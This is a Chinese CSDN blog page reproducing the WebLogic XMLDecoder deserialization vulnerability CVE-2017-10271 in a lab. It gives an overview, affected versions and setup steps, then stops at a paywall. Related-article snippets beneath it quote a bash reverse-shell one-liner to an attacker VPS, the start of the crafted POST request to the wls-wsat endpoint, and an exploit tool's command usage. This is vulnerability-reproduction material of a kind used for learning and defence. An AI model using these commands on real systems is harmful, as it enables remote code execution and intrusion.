WebLogic XMLDecoder反序列化（CVE-2017-10271）漏洞复现

最新推荐文章于 2024-08-02 13:54:23 发布
最新推荐文章于 2024-08-02 13:54:23 发布
阅读量1.3k 收藏 1
点赞数 3
分类专栏： kali Linux 渗透测试 漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38684504/article/details/96482986
版权
本文详细介绍了WebLogic XMLDecoder反序列化漏洞（CVE-2017-10271）的背景、受影响版本、环境搭建步骤、漏洞复现过程以及防御措施。通过搭建靶机环境，演示了如何验证漏洞并触发执行任意命令的效果。
摘要由CSDN通过智能技术生成

Weblogic XMLDecoder 反序列化（CVE-2017-10271）漏洞复现

一、漏洞概述

1、漏洞编号：CVE-2017-10271

2、漏洞描述：WebLogic的 WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击，执行任意命令。

3、受影响WebLogic版本：10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0

二、环境搭建

1、攻击机与靶机

攻击机：物理机；

靶机：Windows server 2003虚拟机，配置Java环境，并安装weblogic 10.3.6.0；

2、在虚拟机上配置java环境

配置好之后如下图所示；

3、在虚拟机上安装Weblogic

3.1> 官网下载(https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html)，安装

最低0.47元/天 解锁文章
橘子女侠
关注
专栏目录
（CVE-2017-10271 ) Weblogic XMLDecoder 反序列化
weixin_45253622的博客
12-16 1626
漏洞编号：CVE-2017-10271 漏洞描述：WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击。 漏洞原理：Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。 影响版本：10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0 漏洞复现 打开环境： c
CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞
weixin_45694388的博客
07-09 5252
漏洞产生原因： CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。 涉及版本： 10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0 环境搭建： vulhub 工具利用： 检测： 工具：weblogicScanner
XMLDecoder反序列化
最新发布
2301_79724395的博客
08-02 444
因为比较简单，自己也没有去复现一下怎么的，也没有去调试，其实调试就是调试对标签的解析过程参考https://www.freebuf.com/articles/web/321222.html的解析过程参考https://www.freebuf.com/articles/web/321222.html图片都是用的这个链接的。
Weblogic(CVE-2017-10271)的漏洞复现
陈瘦瘦的迪迦的博客
08-05 1221
Weblogic(CVE-2017-10271)漏洞复现 漏洞形成原因 Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。 漏洞如何利用 利用服务器的XMLDecoder可以解析XML数据这一特性，可以构造XML语句，上传一句话木马，getshell。 漏洞复现过程 Kali docker 容器中启动此漏洞环境 浏览器访问 Kali 的 ip 地址并接上
Weblogic XMLDecoder(CVE-2017-10271)反序列化漏洞复现
weixin_60329395的博客
07-27 532
Weblogic的WLSSecurity组件对外提供服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。通过发送构造的xml数据能通过反弹shell拿到权限
weblogic反序列化之XMLDecoder
遇事不决冲冲冲
05-18 2008
基于XML的weblogic反序列化漏洞 紧跟上文，这篇来分析一下基于XMLweblogic反序列化漏洞，这里xml本身就是序列化对象，通过XMLDecoder进行反序列化解析(循环遍历XML数据并进行拼接处理)，最终拼接出完整的恶意语句并执行，列出CVE：CVE-2017-3506、CVE-2017-10271、CVE-2019-2729、CVE-2019-2725，漏洞复现，断点分析，修复
WebLogic XMLDecoder反序列化漏洞（CVE-2017-10271)漏洞分析
weixin_34138255的博客
11-09 258
12月22号，绿盟科技博客发布一篇文章，里面有提及到weblogic由于存在0day漏洞，导致被植入恶意软件用来挖掘比特币。后来经过确认，这次攻击者所用的漏洞CVE编号为CVE-2017-10271，那么这个漏洞究竟是怎样造成的? 0. 分析环境 IDE:Intellij IDEA 中间件版本: weblogic 10.3.6【未进行任何补丁修复...
WebLogic反序列化_CVE-2017-3248
09-06
WebLogic反序列化_CVE-2017-3248 java -jar weblogic_cmd.jar -C pwd -H 192.168.1.1 -P 7001 工具使用方法： -B Runtime Blind Execute Command maybe you should select os type -C <arg> (执行命令)Execute ...
Weblogic XML反序列化Cve-2017-10271V1.0.jar
04-16
weblogic反序列工具
CVE-2017-10271 Weblogic反序列化漏洞补丁（FMJJ）
01-09
CVE-2017-10271漏洞源于Weblogic服务器中WLS-Windows-Autopatch组件处理特定类型输入的反序列化过程。这个组件是Weblogic自动更新机制的一部分，负责在Windows系统上自动安装和管理补丁。攻击者可以利用此漏洞构造...
Weblogic XMLDecoder 反序列化漏洞（CVE-2017-10271复现)
薛定谔嘚喵博客
05-07 733
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。漏洞触发url漏洞本质：主要是由于wls组件使用了webservice来请求soap请求，所以通过构造SOAP(XML)格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞，可导致执行任意命令。
CVE-2017-10271漏洞复现
qq_36594628的博客
07-27 5415
CVE-2017-10271复现 一、启动环境 ​ 靶机：ubantu20.04 IP：192.168.3.115 ​ 攻击机：win10 IP：192.168.1.238 ​ 在ubantu 20.04 搭建 Vulhub 环境中已经介绍了怎么启动环境。 二、漏洞信息 ​ WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击，近期发现此漏洞的利用方式为传播挖矿程序。 (一)、漏洞描述 ​ 在了解CVE-2017
weblogic----CVE-2017-10271漏洞复现
qq_43571759的博客
04-07 1249
CVE-2017-10271漏洞复现 漏洞描述： Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。 序列化： 明明序列化那么多漏洞为什么还要序列化？因为便于传输，第一次接触到序列化是PHP的序列化，当时个人理解就是把一个对象转换成字符串进行传输，需要使用的时...
weblogic CVE-2017-10271漏洞复现
qq_68581192的博客
05-24 1139
名称：weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)原理：Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者可以构造XML语句，上传一句话木马，getshell。
Weblogic(CVE-2017-10271)漏洞复现
wodepzw的博客
11-07 1449
1.搭环境 我用的vulhub进入weblogicCVE-2017-10271后用 docker-compose up -d 等待下载完成访问 你的IP＋7001（端口） 会出现一个404报错界面，说明环境搭建成功 抓包构造一个POST包 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.28.145:7001 User-Age...
weblogic cve-2017-10271漏洞复现（vulfocus）
m0_74294234的博客
04-07 404
此处的bash -i >& /dev/tcp/ip/port 0>&1中的ip为你的vps服务器的地址，port为你开启监听的端口（我这里开启监听的端口是8888）小tips：如果你的监听一直失败：可能是你的监听没有打开，你需要在你的vps服务器上打开你的所有端口。（指令：find / -name flag*）温馨提示：要先开启监听端口在进行burpsuite反向shell发送。4:开启远程监听（我这里使用的是8888端口开启监听）并获得权限。一：工具：burpsuite、vps服务器。
weblogic-XMLDecoder反序列化
qq_43381463的博客
03-09 217
漏洞复现-CVE-2017-10271
weblogic中wls组件XMLDecode反序列化漏洞复现
qq_45746681的博客
10-12 360
文章目录漏洞原理复现 漏洞原理 Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。 复现 Kali docker 容器中启动此漏洞环境 访问网页http://192.168.193.129:7001//wls-wsat/CoordinatorPortType 响应结果为以下类型证明可能存在该漏洞 getshell利用方式 在本地监听666端口,执行命令为n
【网络安全---漏洞复现】Weblogic XMLDecoder 反序列化漏洞（CVE-2017-10271）
m0_67844671的博客
09-13 697
Weblogic XMLDecoder 反序列化漏洞（CVE-2017-10271）；​ Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
利用POC检测WebLogic反序列化漏洞CVE-2019-2725
在2019年，Oracle WebLogic服务器遭遇了一...总结起来，这段文本描述了一种针对WebLogic服务器的反序列化漏洞利用方法，以及提供了一个用于检测此漏洞的POC。理解并应用此类安全知识对于保护企业免受此类攻击至关重要。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值